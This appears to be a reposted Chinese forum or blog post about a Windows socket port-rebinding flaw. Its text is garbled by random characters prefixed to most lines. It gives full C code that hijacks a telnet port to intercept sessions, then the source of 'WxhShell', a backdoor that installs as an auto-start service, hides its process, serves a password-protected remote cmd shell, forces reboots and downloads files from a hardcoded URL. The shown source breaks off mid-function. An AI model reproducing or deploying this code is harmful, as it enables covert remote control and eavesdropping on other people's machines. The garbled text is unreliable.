在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5MzFUv0) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
jYiv'6z 5wUUx# saddr.sin_family = AF_INET;
t<n"-Tqu
^xPmlS;X saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ZylJp8U >AJSqgHQ, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
BcD&sQ2F 7z~_/mAI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t'm;:J1 *Sh^J+j 这意味着什么?意味着可以进行如下的攻击:
8BvonYt=8 Qv-@Zt!8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/*|oL#hK y*MF&mQ[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U\rh[0 |a{Q0: 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
x1 1U@jd+1 @(C1_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
fu$R7 ~n}k\s~|4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(@WA1oNG Q]o C47( 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ItVugI(^ C $H$j-)\D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-|rLs$V1r !;_H$r0 #include
`yF`x8 #include
-X+H2G #include
kF>o.uSV #include
{)AMw q DWORD WINAPI ClientThread(LPVOID lpParam);
4~U'TE
@ int main()
jmg!Ml {
pKS
{ 6P WORD wVersionRequested;
{-BRt)L[ DWORD ret;
f3|@|'
; WSADATA wsaData;
](F#`zUQ BOOL val;
9_sA&2P{uV SOCKADDR_IN saddr;
rxme(9M SOCKADDR_IN scaddr;
MQ)L:R`L int err;
`>o?CIdp SOCKET s;
,
*qCf@$I SOCKET sc;
kF7V.m/~o int caddsize;
mJB2)^33a HANDLE mt;
fI\9\x DWORD tid;
^`f*'Z wVersionRequested = MAKEWORD( 2, 2 );
%<8nF5 err = WSAStartup( wVersionRequested, &wsaData );
!A1)|/a@ if ( err != 0 ) {
6dAEM;$_Z printf("error!WSAStartup failed!\n");
6n1rL return -1;
20rkKFk* }
{G*A.$-d saddr.sin_family = AF_INET;
ceGa([#!\_ e4FM} z[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1y^K/.5- #y|V|nd saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
?[x49Ux,P saddr.sin_port = htons(23);
{K#NB_*To if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~el3I=KC} {
P'MY[&|mM' printf("error!socket failed!\n");
}bU8G ' return -1;
/MQU
>& }
VDB;%U*D val = TRUE;
oPc\<$ //SO_REUSEADDR选项就是可以实现端口重绑定的
4(l?uU$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
htY=w}> {
C6_@\&OA printf("error!setsockopt failed!\n");
_if|TFw;h return -1;
{2`=qt2 }
}6 5s'JB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
63?)K s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:Sg_tOf //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
p
(FlR?= S g/UaYCjM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y,8KPg@W {
P\CDd=yWc ret=GetLastError();
)Z+{|^`kJ printf("error!bind failed!\n");
2}?wYI*:5| return -1;
l:]Nn%U(> }
~8|t*@D listen(s,2);
h;lirvO| while(1)
+MK6zf {
6I_Hd>4 caddsize = sizeof(scaddr);
7nzGAz_W //接受连接请求
%=j3jj[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
!2:3MbtR if(sc!=INVALID_SOCKET)
zq5'i!s !0 {
U-wLt(Y< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
O?EB8RB if(mt==NULL)
h x6;YV {
*s}|Hy printf("Thread Creat Failed!\n");
Rd+P,PO break;
!e#xx]v3 }
ihT~xt }
URcR CloseHandle(mt);
2Ha5yaTL }
$3=:E36K closesocket(s);
H]<]^Zmjy WSACleanup();
(UNtRz'=; return 0;
A{o 'z_zC }
uQLlA&I" DWORD WINAPI ClientThread(LPVOID lpParam)
Y^"4?96 {
m8+(%>+7 SOCKET ss = (SOCKET)lpParam;
l^NC]t SOCKET sc;
vjViX<#(V unsigned char buf[4096];
puJ#w1!x` SOCKADDR_IN saddr;
e2$]g> long num;
:<#`_K~' DWORD val;
E&
36H DWORD ret;
A CNfS9M_w //如果是隐藏端口应用的话,可以在此处加一些判断
2=PBxDs; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ghk5rl$ saddr.sin_family = AF_INET;
e`{0d{Nd saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|P6EO22p saddr.sin_port = htons(23);
i`%. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_baYn`tFw- {
s_jBu printf("error!socket failed!\n");
]Gc3Ea;4 return -1;
g(0;[#@ }
P2n2Qt2 val = 100;
MrE<vw@he if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ni[4OR$-O {
UkR3}{i ret = GetLastError();
A,~Hlw return -1;
)Du-_Z }
.&,[, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ST1Ts5I {
*2u
E ret = GetLastError();
8dT'xuch return -1;
:s8A:mx }
Wf02$c0#K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
yt.c5>B^ {
VmQh$&h printf("error!socket connect failed!\n");
@kngI7=E closesocket(sc);
1TqF6`;+ closesocket(ss);
0/]_nd return -1;
!>;w!^U }
%|3e.1oX while(1)
}IUP5O6 {
<z#BsnjW{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Zcd7*EBdx //如果是嗅探内容的话,可以再此处进行内容分析和记录
twqFs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zCXqBuvu1 num = recv(ss,buf,4096,0);
[ET6(_=b if(num>0)
DM7}&~ send(sc,buf,num,0);
1JTbCS else if(num==0)
}$&WC:Lg break;
s*,cF6 num = recv(sc,buf,4096,0);
sz09+4h# if(num>0)
bLG ]Wa send(ss,buf,num,0);
Wb=Jj 9; else if(num==0)
z<C[nR$N break;
]H 2R }
=xEk7'W6k closesocket(ss);
cV$lobqO closesocket(sc);
L@|#Bbmx return 0 ;
y{rn-?`{ }
C@dGWAG F%6*Df;cSe #0MK(Ut/ ==========================================================
<*@~n- R$ Md9l+[@ 下边附上一个代码,,WXhSHELL
CV^0. ]xq::a{Oy ==========================================================
ko[TDh$T5 Vq}r_#!Q #include "stdafx.h"
G:+16XCra 7~.ZE #include <stdio.h>
)bW5yG! #include <string.h>
Z H-5Qy_ #include <windows.h>
N~g%wf@w #include <winsock2.h>
?:}Pa<D&K #include <winsvc.h>
SMq9j,k #include <urlmon.h>
qc0 B<,x7 atnQC #pragma comment (lib, "Ws2_32.lib")
('WY5Yps #pragma comment (lib, "urlmon.lib")
D9^7m
j?e '0Zm#g #define MAX_USER 100 // 最大客户端连接数
XV2=8#R #define BUF_SOCK 200 // sock buffer
jfSg){ #define KEY_BUFF 255 // 输入 buffer
4;\Y?M}g? `C<F+/q #define REBOOT 0 // 重启
$9i9s4u^ #define SHUTDOWN 1 // 关机
PRpE$`WK p37|zX #define DEF_PORT 5000 // 监听端口
^gm>!-Gx A7'b Nd6f9 #define REG_LEN 16 // 注册表键长度
5^F]tRz- #define SVC_LEN 80 // NT服务名长度
fOW_h F"BL#g66 // 从dll定义API
:`zV
[A:D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
v |ifI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
IO[^z
v4F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u{+!&
2}k typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
6^ik|k| D Q 5W6W // wxhshell配置信息
<3Fz>}V32 struct WSCFG {
l:z}; int ws_port; // 监听端口
FQ## 397 char ws_passstr[REG_LEN]; // 口令
Qtnv#9%Vi int ws_autoins; // 安装标记, 1=yes 0=no
EW;1`x char ws_regname[REG_LEN]; // 注册表键名
;.0LRWcJ char ws_svcname[REG_LEN]; // 服务名
`e*61k5 char ws_svcdisp[SVC_LEN]; // 服务显示名
b Fn(w:1Q char ws_svcdesc[SVC_LEN]; // 服务描述信息
PSEWL6=]N char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?360SQ< int ws_downexe; // 下载执行标记, 1=yes 0=no
w -dI<s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[|z'"Gk{
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W gZ@N ".M:`BoW4 };
pE(sV{PD lbofF==( // default Wxhshell configuration
z`@z struct WSCFG wscfg={DEF_PORT,
82.HH5Z{ "xuhuanlingzhe",
gUb
"3g0 1,
C M^r|4K "Wxhshell",
#W^_]Q=5R' "Wxhshell",
\d5}5J]a&n "WxhShell Service",
~,G]glu8 "Wrsky Windows CmdShell Service",
?1$\pq^ "Please Input Your Password: ",
HSql)iT 1,
&z QWIv "
http://www.wrsky.com/wxhshell.exe",
l]u7.~b "Wxhshell.exe"
+Z$a1Y@ };
h{H]xe[Q rT<1S?jR // 消息定义模块
pLJeajv)z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Hi7G/2t@` char *msg_ws_prompt="\n\r? for help\n\r#>";
(l2<+R%1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q6|@N~UeZ char *msg_ws_ext="\n\rExit.";
@aUZ#,(< char *msg_ws_end="\n\rQuit.";
>E~~7Yal char *msg_ws_boot="\n\rReboot...";
g6`.qyVfz' char *msg_ws_poff="\n\rShutdown...";
bx]14}6 char *msg_ws_down="\n\rSave to ";
\aB&{`iG G
"c/a8 char *msg_ws_err="\n\rErr!";
)Kr(Y.w char *msg_ws_ok="\n\rOK!";
AD,@,|A 4NI'(#l char ExeFile[MAX_PATH];
!&6-(q9 int nUser = 0;
WSSaZ9
= HANDLE handles[MAX_USER];
T5V$wmB\W int OsIsNt;
@@; 1%z S~} +ypV SERVICE_STATUS serviceStatus;
xNx`J@xt$ SERVICE_STATUS_HANDLE hServiceStatusHandle;
<@%ma2 ]svw
CPu C // 函数声明
2t.fD@ int Install(void);
s7AI:Zv int Uninstall(void);
%K`4k.gN int DownloadFile(char *sURL, SOCKET wsh);
'oT|cmlc int Boot(int flag);
hPS/CgLq void HideProc(void);
EtPgzw[#c9 int GetOsVer(void);
,qYf#fU#7 int Wxhshell(SOCKET wsl);
z^"?sd void TalkWithClient(void *cs);
hN!.@L int CmdShell(SOCKET sock);
a3*.,%d int StartFromService(void);
"^!j5fZ int StartWxhshell(LPSTR lpCmdLine);
DU(X,hDBF Scf.4~H 0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
A03I-^0g+
VOID WINAPI NTServiceHandler( DWORD fdwControl );
PaA6Z": 1ME|G"$ ; // 数据结构和表定义
@RQ+JYQi SERVICE_TABLE_ENTRY DispatchTable[] =
:E}6S {
&(GopWR`e {wscfg.ws_svcname, NTServiceMain},
8 `yB {NULL, NULL}
v)TUg0U=, };
$.=5e3 &C\=!r0j^ // 自我安装
+~@7"
|d int Install(void)
tYF$#Nor#k {
K T%i,T char svExeFile[MAX_PATH];
}`?7\\6 HKEY key;
IwOfZuS strcpy(svExeFile,ExeFile);
#V,LNX) 9{T 8M // 如果是win9x系统,修改注册表设为自启动
E`U&Z if(!OsIsNt) {
tvv[$b& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.Ydr[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
oM-b96 RegCloseKey(key);
8a_ UxB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ug%<b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/abmjV0 RegCloseKey(key);
USH@:c#t return 0;
/YS@[\j4 }
+0pgq ( }
hYs82P|2Ol }
lK_
~d_f else {
&9S8al
8" oD Q9.t // 如果是NT以上系统,安装为系统服务
Zjw!In|vC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jt0H5-x if (schSCManager!=0)
nYo&x' {
A&xab SC_HANDLE schService = CreateService
tj`tLYOZ@- (
'
}y]mFpF schSCManager,
9<+;hH8J_r wscfg.ws_svcname,
vQ?MM&6 wscfg.ws_svcdisp,
)*"T SERVICE_ALL_ACCESS,
+d|:s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3Pw%[q=g SERVICE_AUTO_START,
};4pZceV SERVICE_ERROR_NORMAL,
~5x4?2 svExeFile,
d<e+__2 NULL,
Cb4d|yiS8 NULL,
* [iity NULL,
ubiQ8Bx NULL,
^\xCqVk_R NULL
!3O,DhH>MC );
z_5rAlnwT. if (schService!=0)
liBAJx {
HQ ELK CloseServiceHandle(schService);
Q"x`+?! CloseServiceHandle(schSCManager);
L{+&z7M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0(Yh~{ strcat(svExeFile,wscfg.ws_svcname);
oAIY=z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*93l${' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Tw`F?i~ RegCloseKey(key);
IBn'iE[> return 0;
TyxU6<>4J4 }
!Qj)tS#Az }
&;SwLDF"1 CloseServiceHandle(schSCManager);
m70`{-O }
s{x*~M$vt }
cij]&$;Q 5i}CzA96 return 1;
cKvAR5| }
7C,<iY r{;VTQ // 自我卸载
~*,Ddwr0a int Uninstall(void)
]j%*"V {
DctX9U( HKEY key;
IG2 `9rR ?0 KiR? if(!OsIsNt) {
tal>b]B; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,)B~cic'u RegDeleteValue(key,wscfg.ws_regname);
=rf)yp-D RegCloseKey(key);
(Von;U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WcV\kemf RegDeleteValue(key,wscfg.ws_regname);
wsdB;
6%$ RegCloseKey(key);
'7RR2f>V return 0;
,6y-.m7> }
DjevX7Q }
ntA[[OIFO }
<=5,(a5g else {
;W$w=j:
O{ CWobvR)e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&V ^ if (schSCManager!=0)
y{&{=1# {
|,M#8NOp: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
iZDb.9@&t if (schService!=0)
!>a&`j2:W {
ue^?/{OuT if(DeleteService(schService)!=0) {
42b=z//; CloseServiceHandle(schService);
&Cx yP_ CloseServiceHandle(schSCManager);
2Q`PUXj return 0;
14@q $}sf }
DRKc&F6Qy CloseServiceHandle(schService);
8S[<[CH }
/Gh
x2B CloseServiceHandle(schSCManager);
e$p1Th*|]4 }
Sh~ 8jEk }
?vL^:f[" }5fI*v return 1;
@@&@}IQcR1 }
j:de}!wc &\WkJ}&PnA // 从指定url下载文件
]XpU'/h>q; int DownloadFile(char *sURL, SOCKET wsh)
}R(0[0NQe- {
~]6Oz;~<3 HRESULT hr;
0IT20.~ char seps[]= "/";
fmZzBZ_ char *token;
Q9 x` Uy char *file;
M Z|c7f&` char myURL[MAX_PATH];
jiw`i char myFILE[MAX_PATH];
R"8})a
gw ^,ZvKA"}+/ strcpy(myURL,sURL);
YDZ1@N}^B token=strtok(myURL,seps);
L&3Ar' while(token!=NULL)
!)51v { {
W~+!"^<n file=token;
g[D,\ token=strtok(NULL,seps);
VQG /g\ }
q6m87O9 ^}Dv$\;6 GetCurrentDirectory(MAX_PATH,myFILE);
|+$j(YuH strcat(myFILE, "\\");
vt(}ga strcat(myFILE, file);
F_M~!]<na send(wsh,myFILE,strlen(myFILE),0);
Xx9~ send(wsh,"...",3,0);
=E6i1x%j hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(`uC"M Lk if(hr==S_OK)
o<Rxt
*B return 0;
,Rr&. else
}ii]cY return 1;
[w#x5Xsn &s6(3k }
:+Z>nHe 8'g*}[ // 系统电源模块
?[L0LL?ce int Boot(int flag)
Jb)eC?6O {
@]VvqCk HANDLE hToken;
{*5;:QnT TOKEN_PRIVILEGES tkp;
7:R{~|R /="D]K)%b8 if(OsIsNt) {
lG[
)8!:+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sP8-gkkor LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"#eNFCo7k tkp.PrivilegeCount = 1;
W0uM?J\O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
f'zFg["aZS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|0vHy7CE if(flag==REBOOT) {
[#3Cg%V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~:RDw<PWp return 0;
mG8 }
qzU2H else {
;Cp/2A}Xx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
\ /X!tlwxh return 0;
WHD/s }
:xUl+(+ }
iYfLo"> else {
{$QF*j if(flag==REBOOT) {
"ppb%= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
o4I!VK(C#s return 0;
DHu jpZXQ }
uK&wS#uY else {
ZZ.0' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
krnk%ug return 0;
dW=D] }
{i7Fu+xZj }
nY5n%>8 tU~H@' return 1;
<0,ah4C }
'y@ 2,9v m*Lv,yw %a // win9x进程隐藏模块
`))J8j" void HideProc(void)
KlX |PQ {
bEXHB I>4Tbwy.- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
F+m4 if ( hKernel != NULL )
]2sZu7 {
jiB>.te pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Z?!:=x>7m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
z&yb_A:> FreeLibrary(hKernel);
{pJ@I=q }
Y|N vBr Z-sN4fr a return;
fM[fS?W }
Qc
=lf$ 8!fAv$g0 // 获取操作系统版本
hu*>B int GetOsVer(void)
%IH|zSr)EM {
9oau_Q# OSVERSIONINFO winfo;
sT"tS> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
D!E 9@*Lf GetVersionEx(&winfo);
]B.,7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.gsu_N_v return 1;
yLa5tv/ else
"E[*rnsLN return 0;
n YMf[kW }
Cq;K,B9 <IkD=X // 客户端句柄模块
rpP+20 v int Wxhshell(SOCKET wsl)
hs#s $})}Z {
0~L8yMM SOCKET wsh;
U!UX"r struct sockaddr_in client;
qxCL DWORD myID;
w#bbm'j7r .1q~,}toX while(nUser<MAX_USER)
3/|{>7]1 {
% |Gzht\ int nSize=sizeof(client);
X|lmH{kf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\U => if(wsh==INVALID_SOCKET) return 1;
28qWC~/9 8 P y_Y> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
uXW.
(x7"f if(handles[nUser]==0)
i$<v*$.o closesocket(wsh);
U,3K6AZA 7 else
Ty`=U>K| nUser++;
~322dG }
i@?<]n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D@1^:'$V H.G^!0j; return 0;
D'hr\C^ }
z8[|LF-dx h] TVi$J // 关闭 socket
P##( V!YR void CloseIt(SOCKET wsh)
u2m{Yx| {
w
I
7 closesocket(wsh);
,7nb;$] nUser--;
*E q7r>[ ExitThread(0);
3K]0sr }
G/;aZ zgOwSg8 // 客户端请求句柄
b0CaoSWo void TalkWithClient(void *cs)
u^.k"46hn {
<T~fh>a RpXG gw SOCKET wsh=(SOCKET)cs;
&XTd[_VW! char pwd[SVC_LEN];
8}b[Q/h! char cmd[KEY_BUFF];
~=]@],{ char chr[1];
b6M)qt9R int i,j;
ill' KPy a_MnQ@ while (nUser < MAX_USER) {
!x /Z" C^v- &*v if(wscfg.ws_passstr) {
?PtRb:RHt if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`D4'`Or-U //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mP+yjRw //ZeroMemory(pwd,KEY_BUFF);
*G"#.YvE i=0;
Y-k~ 7{7 while(i<SVC_LEN) {
#EK8Qe_ Mp}NUQHE // 设置超时
d(tf: @ fd_set FdRead;
gxtbu$ struct timeval TimeOut;
tdK^X1 FD_ZERO(&FdRead);
jJC((1| FD_SET(wsh,&FdRead);
<G =@Gl TimeOut.tv_sec=8;
&!fcL Jd TimeOut.tv_usec=0;
nezbmpL4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5!fW&OiY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
vyy\^nL N>\?Aeh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
{/!"}{G1e pwd
=chr[0]; ]Y!
Vyn
if(chr[0]==0xd || chr[0]==0xa) { #$T"QL@
pwd=0; md
LJ,w?{
break; m*,[1oeG&
} L uKm
i++; pC
Is+1O/
} !sWBj'[>
2{:
J1'pC
// 如果是非法用户,关闭 socket ?2>v5p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Av4E?@R
} mQuaO#
I,
|H@p^.;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xM,(|p(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;g9:0,xT4
bd;f@)X
while(1) { <OB~60h"
> PA,72e
ZeroMemory(cmd,KEY_BUFF); ?MB nnyo6
sUMn
(@r
// 自动支持客户端 telnet标准 ^C
T}i'
j=0; e:occT
while(j<KEY_BUFF) { &cE,9o%FZ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a}hM}U!
cmd[j]=chr[0]; izo
$0
if(chr[0]==0xa || chr[0]==0xd) { jo#F&
cmd[j]=0; Uwa1)Lwn
break; (j"MsCwE
} !qv;F?2
<g
j++; yt,;^o^
} W}3vY]
feHAZ.8rp+
// 下载文件 *&MkkI#
if(strstr(cmd,"http://")) { LRs;>O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >*CK@"o
if(DownloadFile(cmd,wsh)) F
x8)jBB_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KK|Jach
else (Ad!hyE(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o|C{ s
} ;wB3H
else { T0jJp7O
~cwwB{
switch(cmd[0]) { pdq h'+5
mr.DP~O:9p
// 帮助 _"`h~jB
case '?': { f
d5~'2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6>J#M
break; _gh7_P^H=d
} 3/05ee;|
// 安装 lNAHn<ht
case 'i': { s50ln&2
if(Install()) G$<0_0GF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D3ad2vH
else `;@4f|N9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PD4E&k
break; JnJz{(c
} KYN{iaj
// 卸载 }FVX5/.'
case 'r': { g7i6Yj1
if(Uninstall()) l0)uu4|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #m>mYp8E.5
else wYG0*!Vj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \>k+Oyj
break; 7i/Cax
} c
@R6p+
// 显示 wxhshell 所在路径 Fwqf4&/
case 'p': { ~yN,F pD
char svExeFile[MAX_PATH]; yjzNU5F
strcpy(svExeFile,"\n\r"); Xi.?9J`@
strcat(svExeFile,ExeFile); 2O/_hv.
send(wsh,svExeFile,strlen(svExeFile),0); 3s2M$3r)6
break; ak[)+_k_
} |&7,g
// 重启 gG>>ynn
case 'b': { EM}z-@A>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5{Wl(jwb
if(Boot(REBOOT)) RkzBn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1O4"MeF
else { 0
HmRl
closesocket(wsh); Q2Rj0E`
ExitThread(0); ) /'s&
D
} ^cm^JyS)
break; ri
~2t3gg
} IIkJ"Qg.
// 关机 flqTx)xE
case 'd': { 5@ug1F&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wn&2-m*a
if(Boot(SHUTDOWN)) mZyTo/\0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQT'~'kL
else { L8ke*O$
closesocket(wsh); q0wVV
ExitThread(0); (6nw8vQ
} HenJlo
break; ~@lNBF
} F04Etf
2k
// 获取shell R8l9i2
case 's': { :F&WlU$L
CmdShell(wsh); )w-?|2-w5
closesocket(wsh); CCV~nf
ExitThread(0); C#>C59
break; tUQ)q
} d/1XL[&
// 退出 s9iM hCu|
case 'x': { S J5kA`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
s25012
CloseIt(wsh); SCij5il%
break; 2B7&Ll\>
} )Yml'?V"
// 离开 ?}[keSEh>
case 'q': { 32yNEP{
send(wsh,msg_ws_end,strlen(msg_ws_end),0); x<(h9tB
closesocket(wsh); /V&Y@j
WSACleanup(); XJ;/kR
exit(1); 00i9yC8@6
break; N2>JG]G
} bb{+
} 8{C3ijR
} Tx*m
p+q
#82B`y<<y/
// 提示信息 hlRE\YO&8R
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y{KJk'xN5W
} -MjRFa
} KVuv%?
0NxaQ`\
return; (Gcl,IW
} cc[w%jlA#
yWzTHW`)Mr
// shell模块句柄 &>o)7H];
int CmdShell(SOCKET sock) *D,T}N
{ E'Bt1u
STARTUPINFO si; .
fIodk
ZeroMemory(&si,sizeof(si)); H|Ems}b
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a|.u;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )-(NL!?`
PROCESS_INFORMATION ProcessInfo; o0 Ae*Y0
char cmdline[]="cmd"; < -Nj
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l_:%?4MA
return 0; )7^jq|
} &kG<LGXP#
z?PF9QL1
// 自身启动模式 nB.p}k
int StartFromService(void) t.cplJF&Ue
{ _3hEYeh
typedef struct mIyaoIE|$
{ F<$&G'% H
DWORD ExitStatus; am}zOr\
DWORD PebBaseAddress; zy|hf<V
DWORD AffinityMask; >97N
$
DWORD BasePriority; =["GnL*!0
ULONG UniqueProcessId; [Mi~4b
